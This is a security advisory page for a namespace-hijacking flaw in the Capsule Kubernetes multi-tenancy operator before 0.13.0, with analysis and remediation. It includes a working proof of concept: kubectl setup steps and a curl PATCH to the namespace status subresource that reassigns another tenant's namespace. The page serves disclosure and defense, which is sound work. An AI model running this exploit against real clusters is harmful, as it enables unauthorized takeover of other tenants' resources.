Severity by source
AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.
Details
When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.
PoC
Open two terminals and create two tenants:
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: oil
spec:
owners:
- name: alice
kind: User
EOF
./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production
# alice creates the namespacekubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: attacker
spec:
owners:
- name: attacker
kind: User
EOF
./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfigWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attackerThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
{
"op": "replace",
"path": "/metadata/ownerReferences",
"value": [
{
"apiVersion": "capsule.clastix.io/v1beta2",
"kind": "Tenant",
"name": "attacker",
"uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
}
]
}
]'Impact
hijack namespace
Remediation
To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:
resources:
- namespaces
- namespaces/status
- namespace/finalizeAnalysisAI
Namespace hijacking in Capsule (Kubernetes multi-tenancy operator) prior to v0.13.0 allows an authenticated tenant administrator to reassign any namespace to their own tenant by patching it through the namespace/status or namespace/finalize subresource APIs, which bypass Capsule's ValidatingWebhookConfiguration enforcement entirely. The webhook intercepts direct namespace modifications but omits these subresource paths, leaving a gap that an attacker with explicitly delegated RBAC permissions can exploit with a single PATCH request. A complete, working proof-of-concept is publicly available in the GitHub Security Advisory GHSA-2ww6-hf35-mfjm; no CISA KEV listing was identified, indicating no confirmed widespread active exploitation at time of analysis.
Technical ContextAI
Capsule (pkg:go/github.com_projectcapsule_capsule, versions < 0.13.0) is a Kubernetes operator that enforces multi-tenant namespace isolation by deploying a ValidatingWebhookConfiguration. The webhook's resource intercept rules explicitly enumerate the namespaces resource but omit the namespaces/status and namespaces/finalize subresources. In the Kubernetes API, subresources are distinct endpoint paths - /api/v1/namespaces/{name}/status and /api/v1/namespaces/{name}/finalize - and must be individually listed in webhook rules to be intercepted. Both subresources permit modification of namespace metadata including the ownerReferences field, which Capsule relies on to establish and enforce tenant ownership. CWE-20 (Improper Input Validation) applies because the webhook fails to validate the complete set of API paths through which namespace metadata can be mutated. The root cause is a configuration gap in the ValidatingWebhookConfiguration YAML template at charts/capsule/templates/validatingwebhookconfiguration.yaml#L193, not a flaw in the Kubernetes API itself.
RemediationAI
Upgrade Capsule to version 0.13.0, which resolves the issue by adding namespaces/status and namespaces/finalize to the resources list in the ValidatingWebhookConfiguration rules, ensuring all modification paths for namespace metadata are routed through the admission webhook. The fix is confirmed in the v0.13.0 release notes (https://github.com/projectcapsule/capsule/releases/tag/v0.13.0) under advisory GHSA-2ww6-hf35-mfjm. Important: v0.13.0 introduces a breaking change in certificate management - cert-manager is now the default provider for admission webhook certificates, replacing the built-in Capsule TLS controller. Clusters without cert-manager installed must explicitly re-enable the Capsule TLS controller as documented in the installation guide before upgrading, or webhook admission will fail on startup. As an immediate compensating control for clusters that cannot upgrade promptly, platform administrators should audit all ClusterRoles and ClusterRoleBindings for grants that include verb:patch or verb:update on resources namespaces/status or namespaces/finalize, and revoke any such grants to tenant users. These subresource permissions are non-default and should not be necessary for standard tenant operations; revoking them eliminates the exploitation prerequisite without functional impact on normal tenants.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem
Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref
String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter
Same weakness CWE-20 – Improper Input Validation
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-33739
GHSA-2ww6-hf35-mfjm